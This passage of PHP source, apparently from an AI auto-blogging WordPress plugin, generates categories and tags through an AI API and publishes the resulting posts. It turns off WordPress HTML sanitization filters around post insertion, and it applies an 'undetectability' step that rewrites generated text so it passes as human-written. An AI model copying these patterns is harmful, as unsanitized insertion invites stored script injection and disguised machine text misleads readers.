                                        if(strlen($category_ai_command) > $max_seed_tokens * 4)
                                        {
                                            $category_ai_command = aiomatic_substr($category_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                        }
                                        $category_ai_command = trim($category_ai_command);
                                        if(empty($category_ai_command))
                                        {
                                            aiomatic_log_to_file('Empty API category seed expression provided! ' . print_r($category_ai_command, true));
                                            break;
                                        }
                                        $query_token_count = count(aiomatic_encode($category_ai_command));
                                        $available_tokens = aiomatic_compute_available_tokens($category_model, $max_tokens, $category_ai_command, $query_token_count);
                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                        {
                                            $string_len = strlen($category_ai_command);
                                            $string_len = $string_len / 2;
                                            $string_len = intval(0 - $string_len);
                                            $category_ai_command = aiomatic_substr($category_ai_command, 0, $string_len);
                                            $category_ai_command = trim($category_ai_command);
                                            if(empty($category_ai_command))
                                            {
                                                aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($category_ai_command, true));
                                                break;
                                            }
                                            $query_token_count = count(aiomatic_encode($category_ai_command));
                                            $available_tokens = $max_tokens - $query_token_count;
                                        }
                                        $aierror = '';
                                        $finish_reason = '';
                                        if(!empty($global_prepend))
                                        {
                                            $category_ai_command = $global_prepend . ' ' . $category_ai_command;
                                        }
                                        if(!empty($global_append))
                                        {
                                            $category_ai_command = $category_ai_command . ' ' . $global_append;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $category_model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $category_model . ') for category generator: ' . $category_ai_command);
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating categories'));
                                        $generated_text = aiomatic_generate_text($token, $category_model, $category_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'categoryID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                        if($generated_text === false)
                                        {
                                            aiomatic_log_to_file('Category generator error: ' . $aierror);
                                            break;
                                        }
                                        else
                                        {
                                            $extra_categories = $generated_text;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $category_model);
                                            aiomatic_log_to_file('Successfully got API category result from ' . $api_service . ': ' . $generated_text);
                                        }
                                    }
                                }
                                else
                                {
                                    $extra_categories = '';
                                }
                                $my_post['extra_categories'] = $extra_categories;
                                
                                $item_tags                   = aiomatic_extractKeyWords($new_post_content, 3);
                                $item_tags                   = implode(',', $item_tags);
                                $title_tags                   = aiomatic_extractKeyWords($new_post_title, 3);
                                $title_tags                   = implode(',', $title_tags);
                                $item_create_tag_sp = $spintax->Parse($item_create_tag);
                                if ($can_create_tag == 'content') {
                                    $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $item_tags;
                                    $my_post['extra_tags']       = $item_tags;
                                } else if ($can_create_tag == 'title') {
                                    $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $title_tags;
                                    $my_post['extra_tags']       = $title_tags;
                                } else if ($can_create_tag == 'both') {
                                    $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . ($item_tags != '' ? $item_tags . ',' : '') . $title_tags;
                                    $my_post['extra_tags']       = ($item_tags != '' ? $item_tags . ',' : '') . $title_tags;
                                } else if ($can_create_tag == 'ai') {
                                    $ai_tags = '';
                                    $tag_ai_command = $orig_ai_command_tag;
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $tag_ai_command = preg_split('/\r\n|\r|\n/', $tag_ai_command);
                                        $tag_ai_command = array_filter($tag_ai_command);
                                        if(count($tag_ai_command) > 0)
                                        {
                                            $tag_ai_command = $tag_ai_command[array_rand($tag_ai_command)];
                                        }
                                        else
                                        {
                                            $tag_ai_command = '';
                                        }
                                    }
                                    $tag_ai_command = aiomatic_replaceSynergyShortcodes($tag_ai_command);
                                    if(!empty($tag_ai_command))
                                    {
                                        $tag_ai_command = replaceAIPostShortcodes($tag_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                        $tag_ai_command = aiomatic_replace_review($tag_ai_command, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                    }
                                    else
                                    {
                                        $tag_ai_command = trim(strip_tags('Write a comma separated list of tags, for the post title: %%post_title%%'));
                                    }
                                    $tag_ai_command = trim($tag_ai_command);
                                    if (filter_var($tag_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($tag_ai_command, '.txt'))
                                    {
                                        $txt_content = aiomatic_get_web_page($tag_ai_command);
                                        if ($txt_content !== FALSE) 
                                        {
                                            $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                            $txt_content = array_filter($txt_content);
                                            if(count($txt_content) > 0)
                                            {
                                                $txt_content = $txt_content[array_rand($txt_content)];
                                                if(trim($txt_content) != '') 
                                                {
                                                    $tag_ai_command = $txt_content;
                                                    $tag_ai_command = aiomatic_replaceSynergyShortcodes($tag_ai_command);
                                                    $tag_ai_command = replaceAIPostShortcodes($tag_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                    $tag_ai_command = aiomatic_replace_review($tag_ai_command, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                                }
                                            }
                                        }
                                    }
                                    if(empty($tag_ai_command))
                                    {
                                        aiomatic_log_to_file('Empty API post tag seed expression provided!');
                                    }
                                    else
                                    {
                                        if(strlen($tag_ai_command) > $max_seed_tokens * 4)
                                        {
                                            $tag_ai_command = aiomatic_substr($tag_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                        }
                                        $tag_ai_command = trim($tag_ai_command);
                                        if(empty($tag_ai_command))
                                        {
                                            aiomatic_log_to_file('Empty API tag seed expression provided! ' . print_r($tag_ai_command, true));
                                            break;
                                        }
                                        $query_token_count = count(aiomatic_encode($tag_ai_command));
                                        $available_tokens = aiomatic_compute_available_tokens($tag_model, $max_tokens, $tag_ai_command, $query_token_count);
                                        if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                        {
                                            $string_len = strlen($tag_ai_command);
                                            $string_len = $string_len / 2;
                                            $string_len = intval(0 - $string_len);
                                            $tag_ai_command = aiomatic_substr($tag_ai_command, 0, $string_len);
                                            $tag_ai_command = trim($tag_ai_command);
                                            if(empty($tag_ai_command))
                                            {
                                                aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($tag_ai_command, true));
                                                break;
                                            }
                                            $query_token_count = count(aiomatic_encode($tag_ai_command));
                                            $available_tokens = $max_tokens - $query_token_count;
                                        }
                                        $aierror = '';
                                        $finish_reason = '';
                                        if(!empty($global_prepend))
                                        {
                                            $tag_ai_command = $global_prepend . ' ' . $tag_ai_command;
                                        }
                                        if(!empty($global_append))
                                        {
                                            $tag_ai_command = $tag_ai_command . ' ' . $global_append;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $tag_model);
                                            aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $tag_model . ') for tag generator: ' . $tag_ai_command);
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating tags'));
                                        $generated_text = aiomatic_generate_text($token, $tag_model, $tag_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'tagID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false);
                                        if($generated_text === false)
                                        {
                                            aiomatic_log_to_file('Tag generator error: ' . $aierror);
                                            break;
                                        }
                                        else
                                        {
                                            $ai_tags = $generated_text;
                                        }
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                        {
                                            $api_service = aiomatic_get_api_service($token, $tag_model);
                                            aiomatic_log_to_file('Successfully got API tag result from ' . $api_service . ': ' . $generated_text);
                                        }
                                    }
                                    $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $ai_tags;
                                    $my_post['extra_tags']       = $ai_tags;
                                } else {
                                    $post_the_tags = $item_create_tag_sp;
                                    $my_post['extra_tags']       = '';
                                }
                                $my_post['tags_input'] = $post_the_tags;
                                $new_post_content        = html_entity_decode($new_post_content);
                                $new_post_content = str_replace('</ iframe>', '</iframe>', $new_post_content);
                                if ($strip_by_regex !== '')
                                {
                                    $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex);
                                    $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex);
                                    $xcnt = 0;
                                    foreach($xstrip_by_regex as $sbr)
                                    {
                                        if(isset($xreplace_regex[$xcnt]))
                                        {
                                            $repreg = $xreplace_regex[$xcnt];
                                        }
                                        else
                                        {
                                            $repreg = '';
                                        }
                                        $xcnt++;
                                        $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $new_post_content);
                                        if($temp_cont !== NULL)
                                        {
                                            $new_post_content = $temp_cont;
                                        }
                                    }
                                }
                                $post_prepender = replaceAIPostShortcodes($post_prepend, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                $post_prepender = aiomatic_replace_review($post_prepender, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                $post_appender = replaceAIPostShortcodes($post_append, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                $post_appender = aiomatic_replace_review($post_appender, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                $post_appender = aiomatic_replaceSynergyShortcodes($post_appender);
                                $post_prepender = aiomatic_replaceSynergyShortcodes($post_prepender);
                                if($topic_videos == '1' && count($added_vid_list) == 0)
                                {
                                    $new_vid = aiomoatic_get_video($product_title);
                                    if($new_vid !== false && !in_array($new_vid, $added_vid_list))
                                    {
                                        $new_post_content .= $new_vid;
                                        $added_vid_list[] = $new_vid;
                                        $new_vid_arr[] = $new_vid;
                                        $added_videos++;
                                    }
                                }
                                $zlang = 'en_US';
                                if (isset($aiomatic_Main_Settings['kw_lang']) && !empty($aiomatic_Main_Settings['kw_lang'])) {
                                    $zlang = $aiomatic_Main_Settings['kw_lang'];
                                }
                                $rel_search = array('post_title', 'post_content');
                                if (isset($aiomatic_Main_Settings['rel_search']) && is_array($aiomatic_Main_Settings['rel_search'])) {
                                    $rel_search = $aiomatic_Main_Settings['rel_search'];
                                }
                                if($max_links !== '' && $inboundlinker !== null && $link_type != 'disabled')
                                {
                                    try
                                    {
                                        $new_post_content = $inboundlinker->add_inbound_links($new_post_content, $max_links, $link_post_types, $zlang, $rel_search, null, $link_type, $link_list, $link_nofollow);
                                    }
                                    catch(Exception $ex)
                                    {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Failed to add new inbound links to content: ' . $ex->getMessage());
                                        }
                                    }
                                }
                                if (isset($aiomatic_Main_Settings['nlbr_parse']) && $aiomatic_Main_Settings['nlbr_parse'] == 'on')
                                {
                                    $new_post_content =  nl2br($new_post_content);
                                }
                                if (!isset($aiomatic_Main_Settings['no_undetectibility']) || $aiomatic_Main_Settings['no_undetectibility'] != 'on') 
                                {
                                    $new_post_content = aiomatic_remove_parasite_phrases($new_post_content);
                                    if(!isset($xchars))
                                    {
                                        $xchars = array();
                                    }
                                    $rand_percentage = rand(10, 20);
                                    $new_post_content = aiomatic_make_unique($new_post_content, $xchars, $rand_percentage);
                                }
                                if($ret_content == 1)
                                {
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Returning AI generated content, finished.');
                                    }
                                    aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Finished processing'));
                                    return array($post_prepender . ' ' . $new_post_content . ' ' . $post_appender, $new_post_title);
                                }
                                $the_final_cont = $post_prepender . ' ' . $new_post_content . ' ' . $post_appender;
                                $my_post['post_content'] = $the_final_cont;
                                if(stristr($my_post['post_content'], '<pre><code><') !== false)
                                {
                                    if (!isset($aiomatic_Main_Settings['pre_code_off']) || trim($aiomatic_Main_Settings['pre_code_off']) != 'on')
                                    {
                                        $my_post['post_content'] = aiomatic_parse_pre_code_entities($my_post['post_content']);
                                    }
                                }
                                $my_post['post_title']           = $new_post_title;
                                $my_post['aiomatic_source_title']   = $amazon_kw;
                                $my_post['aiomatic_timestamp']   = aiomatic_get_date_now();
                                $my_post['aiomatic_post_format'] = $post_format;
                                if (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678') 
                                {
                                    if(is_array($default_category))
                                    {
                                        $cextra = '';
                                        foreach($default_category as $dc)
                                        {
                                            $cextra .= ',' . get_cat_name($dc);
                                        }
                                        $extra_categories_temp = trim( $cextra . ',' . $extra_categories, ',');
                                    }
                                    else
                                    {
                                        $extra_categories_temp = trim(get_cat_name($default_category) . ',' .$extra_categories, ',');
                                    }
                                }
                                else
                                {
                                    $extra_categories_temp = $extra_categories;
                                }
                                $block_arr = array();
                                $custom_arr = array();
                                if($custom_fields != '')
                                {
                                    if(stristr($custom_fields, '=>') != false)
                                    {
                                        $rule_arr = explode(',', trim($custom_fields));
                                        foreach($rule_arr as $rule)
                                        {
                                            $my_args = explode('=>', trim($rule));
                                            if(isset($my_args[1]))
                                            {
                                                $my_args[1] = do_shortcode($my_args[1]);
                                                $my_args[0] = do_shortcode($my_args[0]);
                                                $custom_field_content = trim($my_args[1]);
                                                $custom_field_content = replaceAIPostShortcodes($custom_field_content, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                $custom_field_content = aiomatic_replace_review($custom_field_content, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                                $custom_field_content = aiomatic_replaceSynergyShortcodes($custom_field_content);
                                                $custom_field_content = $spintax->Parse($custom_field_content, $block_arr);
                                                $custom_field_content = aiomatic_replaceContentShortcodes($custom_field_content, $img_attr, $ai_command);
                                                if(stristr($my_args[1], 'serialize_') !== false)
                                                {
                                                    $custom_arr[trim($my_args[0])] = array(str_replace('serialize_', '', $custom_field_content));
                                                }
                                                else
                                                {
                                                    if(stristr($my_args[0], '[') !== false && stristr($my_args[0], ']') !== false)
                                                    {
                                                        preg_match_all('#([^\[\]]*?)\[([^\[\]]*?)\]#', $my_args[0], $cfm);
                                                        if(isset($cfm[2][0]))
                                                        {
                                                            if(isset($custom_arr[trim($cfm[1][0])]) && is_array($custom_arr[trim($cfm[1][0])]))
                                                            {
                                                                $custom_arr[trim($cfm[1][0])] = array_merge($custom_arr[trim($cfm[1][0])], array(trim($cfm[2][0]) => $custom_field_content));
                                                            }
                                                            else
                                                            {
                                                                $custom_arr[trim($cfm[1][0])] = array(trim($cfm[2][0]) => $custom_field_content);
                                                            }
                                                        }
                                                        else
                                                        {
                                                            $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                        }
                                                    }
                                                    else
                                                    {
                                                        $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                                $custom_arr = array_merge($custom_arr, array('aiomatic_auto_post_spinned' => $already_spinned, 'aiomatic_post_cats' => $extra_categories_temp, 'aiomatic_post_tags' => $post_the_tags));
                                $custom_tax_arr = array();
                                if($custom_tax != '')
                                {
                                    if(stristr($custom_tax, '=>') != false)
                                    {
                                        $rule_arr = explode(';', trim($custom_tax));
                                        foreach($rule_arr as $rule)
                                        {
                                            $my_args = explode('=>', trim($rule));
                                            if(isset($my_args[1]))
                                            {
                                                $custom_tax_content = trim($my_args[1]);
                                                $custom_tax_content = replaceAIPostShortcodes($custom_tax_content, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                $custom_tax_content = aiomatic_replace_review($custom_tax_content, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                                $custom_tax_content = aiomatic_replaceSynergyShortcodes($custom_tax_content);
                                                $custom_tax_content = $spintax->Parse($custom_tax_content, $block_arr);
                                                $custom_tax_content = aiomatic_replaceContentShortcodes($custom_tax_content, $img_attr, $ai_command);
                                                if(substr(trim($my_args[0]), 0, 3) === "pa_" && $post_type == 'product' && !empty($custom_tax_content))
                                                {
                                                    if(isset($custom_arr['_product_attributes']))
                                                    {
                                                        $custom_arr['_product_attributes'] = array_merge($custom_arr['_product_attributes'], array(trim($my_args[0]) =>array(
                                                            'name' => trim($my_args[0]),
                                                            'value' => $custom_tax_content,
                                                            'is_visible' => '1',
                                                            'is_taxonomy' => '1'
                                                        )));
                                                    }
                                                    else
                                                    {
                                                        $custom_arr['_product_attributes'] = array(trim($my_args[0]) =>array(
                                                            'name' => trim($my_args[0]),
                                                            'value' => $custom_tax_content,
                                                            'is_visible' => '1',
                                                            'is_taxonomy' => '1'
                                                        ));
                                                    }
                                                }
                                                if(isset($custom_tax_arr[trim($my_args[0])]))
                                                {
                                                    $custom_tax_arr[trim($my_args[0])] .= ',' . $custom_tax_content;
                                                }
                                                else
                                                {
                                                    $custom_tax_arr[trim($my_args[0])] = $custom_tax_content;
                                                }
                                            }
                                        }
                                    }
                                }
                                if(count($custom_tax_arr) > 0)
                                {
                                    $my_post['taxo_input'] = $custom_tax_arr;
                                }
                                if (isset($aiomatic_Main_Settings['external_products']) && $aiomatic_Main_Settings['external_products'] == 'on')
                                {
                                    if($post_type == 'product')
                                    {
                                        $custom_arr['_price'] = $product_price;
                                        $custom_arr['_regular_price'] = $product_price;
                                        $custom_arr['_product_url'] = $aff_url;
                                    }
                                }
                                $my_post['meta_input'] = $custom_arr;
                                if($parent_id != '')
                                {
                                    $my_post['post_parent'] = intval($parent_id);
                                }
                                if ($enable_pingback == '1') {
                                    $my_post['ping_status'] = 'open';
                                } else {
                                    $my_post['ping_status'] = 'closed';
                                }
                                if($min_time != '' && $max_time != '')
                                {
                                    $t1 = strtotime($min_time);
                                    $t2 = strtotime($max_time);
                                    if($t1 != false && $t2 != false)
                                    {
                                        $int = rand($t1, $t2);
                                        $my_post['post_date'] = date('Y-m-d H:i:s', $int);
                                    }
                                }
                                elseif($min_time != '')
                                {
                                    $t1 = strtotime($min_time);
                                    if($t1 != false)
                                    {
                                        $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                    }
                                }
                                elseif($max_time != '')
                                {
                                    $t1 = strtotime($max_time);
                                    if($t1 != false)
                                    {
                                        $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                    }
                                }
                                if($new_post_excerpt != '')
                                {
                                    $my_post['post_excerpt']          = $new_post_excerpt;
                                }
                                $count++;
                                if($update_post_id != '')
                                {
                                    $my_post['ID'] = $update_post_id;
                                }
                                remove_filter('content_save_pre', 'wp_filter_post_kses');
                                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                                try
                                {
                                    $post_id = wp_insert_post($my_post, true);
                                }
                                catch(Exception $e)
                                {
                                    aiomatic_log_to_file('Exception in publishing post (this is coming from another plugin, so we ignore it): ' . $e->getMessage());
                                }
                                add_filter('content_save_pre', 'wp_filter_post_kses');
                                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                                if (!is_wp_error($post_id)) {
                                    if($post_id === 0)
                                    {
                                        aiomatic_log_to_file('An error occurred while inserting post into wp database! Title:' . $my_post['post_title']);
                                        continue;
                                    }
                                    $posts_inserted++;
                                    if($wpml_lang != '' && function_exists('pll_set_post_language'))
                                    {
                                        pll_set_post_language($post_id, $wpml_lang);
                                    }
                                    $default_categories = array();
                                    if($remove_default == '1' && ($auto_categories != 'disabled' || (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678')))
                                    {
                                        $default_categories = wp_get_post_categories($post_id);
                                    }
                                    if(isset($my_post['taxo_input']))
                                    {
                                        foreach($my_post['taxo_input'] as $taxn => $taxval)
                                        {
                                            $taxn = trim($taxn);
                                            $taxval = trim($taxval);
                                            if(is_taxonomy_hierarchical($taxn))
                                            {
                                                $taxval = array_map('trim', explode(',', $taxval));
                                                for($ii = 0; $ii < count($taxval); $ii++)
                                                {
                                                    if(!is_numeric($taxval[$ii]))
                                                    {
                                                        $term_ids = [];
                                                        $parent_id = 0;
                                                        $hierarchy_parts = array_map('trim', explode('>', $taxval[$ii]));
                                                        foreach($hierarchy_parts as $hp)
                                                        {
                                                            if(!is_numeric($hp))
                                                            {
                                                                $xtermid = get_term_by('name', $hp, $taxn);
                                                                if($xtermid !== false)
                                                                {
                                                                    $parent_id = $xtermid->term_id;
                                                                    if(!is_numeric($taxval[$ii]))
                                                                    {
                                                                        $taxval[$ii] = intval($xtermid->term_id);
                                                                    }
                                                                    else
                                                                    {
                                                                        $taxval[] = intval($xtermid->term_id);
                                                                    }
                                                                }
                                                                else
                                                                {
                                                                    wp_insert_term( $hp, $taxn, ['parent' => $parent_id]);
                                                                    $xtermid = get_term_by('name', $hp, $taxn);
                                                                    if($xtermid !== false)
                                                                    {
                                                                        $parent_id = $xtermid->term_id;
                                                                        if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                                                        {
                                                                            pll_set_term_language($xtermid->term_id, $wpml_lang); 
                                                                        }
                                                                        elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                                                        {
                                                                            $wpml_element_type = apply_filters( 'wpml_element_type', $taxn );
                                                                            $pars['element_id'] = $xtermid->term_id;
                                                                            $pars['element_type'] = $wpml_element_type;
                                                                            $pars['language_code'] = $wpml_lang;
                                                                            $pars['trid'] = FALSE;
                                                                            $pars['source_language_code'] = NULL;
                                                                            do_action('wpml_set_element_language_details', $pars);
                                                                        }
                                                                        if(!is_numeric($taxval[$ii]))
                                                                        {
                                                                            $taxval[$ii] = intval($xtermid->term_id);
                                                                        }
                                                                        else
                                                                        {
                                                                            $taxval[] = intval($xtermid->term_id);
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                            else
                                                            {
                                                                if(!is_numeric($taxval[$ii]))
                                                                {
                                                                    $taxval[$ii] = intval($hp);
                                                                }
                                                                else
                                                                {
                                                                    $taxval[] = intval($hp);
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                                wp_set_post_terms($post_id, $taxval, $taxn, true);
                                            }
                                            else
                                            {
                                                $jterms = array_map('trim', explode(',', $taxval));
                                                wp_set_post_terms($post_id, $jterms, $taxn, true);
                                            }
                                        }
                                    }
                                    if (isset($aiomatic_Main_Settings['external_products']) && $aiomatic_Main_Settings['external_products'] == 'on')
                                    {
                                        if($post_type == 'product')
                                        {
                                            wp_set_post_terms($post_id, 'external', 'product_type', false);
                                        }
                                    }
                                    if (isset($my_post['aiomatic_post_format']) && $my_post['aiomatic_post_format'] != '' && $my_post['aiomatic_post_format'] != 'post-format-standard') {
                                        wp_set_post_terms($post_id, $my_post['aiomatic_post_format'], 'post_format', true);
                                    }
                                    $featured_path = '';
                                    $get_img = $my_post['aiomatic_post_image'];
                                    if ($get_img != '') {
                                        if($my_post['aiomatic_local_image'] == '1')
                                        {
                                            $local_get_img = $get_img[0];
                                            if (!aiomatic_assign_featured_image_path($local_get_img, $post_id)) {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('aiomatic_assign_featured_image_path failed for ' . $local_get_img);
                                                }
                                            } else {
                                                $featured_path = $get_img[1];
                                            }
                                        }
                                        else
                                        {
                                            if(is_numeric($get_img))
                                            {
                                                $featured_path = aiomatic_assign_featured_image($get_img, $post_id);
                                            }
                                            else
                                            {
                                                if (!aiomatic_generate_featured_image($get_img, $post_id)) {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('aiomatic_generate_featured_image failed for ' . $get_img);
                                                    }
                                                } else {
                                                    $featured_path = $get_img;
                                                }
                                            }
                                        }
                                    }
                                    if($featured_path == '')
                                    {
                                        if ($image_url != '') {
                                            $replacement = str_replace(array('[', ']'), '', $my_post['post_title']);
                                            $image_url_temp = str_replace('%%item_title%%', $replacement, $image_url);
                                            $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) {
                                                if(isset($matches[2]))
                                                {
                                                    $chance = trim($matches[2], '[]');
                                                }
                                                else
                                                {
                                                    $chance = '';
                                                }
                                                $arv = array();
                                                $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv);
                                                return $my_img;
                                            }, $image_url_temp);
                                            $img_rulx = $spintax->Parse(trim($image_url_temp));
                                            $selected_img = aiomatic_select_ai_image($my_post['post_title'], $img_rulx);
                                            if($selected_img === false)
                                            {
                                                $img_rulx = explode(',', $img_rulx);
                                                $img_rulx = trim($img_rulx[array_rand($img_rulx)]);
                                            }
                                            else
                                            {
                                                $img_rulx = $selected_img;
                                            }
                                            if(is_numeric($img_rulx))
                                            {
                                                $featured_path = aiomatic_assign_featured_image($img_rulx, $post_id);
                                            }
                                            else
                                            {
                                                if($img_rulx != '')
                                                {
                                                    if (!aiomatic_generate_featured_image($img_rulx, $post_id)) {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                            aiomatic_log_to_file('aiomatic_generate_featured_image failed to default value: ' . $img_rulx . '!');
                                                        }
                                                    } else {
                                                        $featured_path = $img_rulx;
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if ($auto_categories != 'disabled') {
                                        if ($my_post['extra_categories'] != '') {
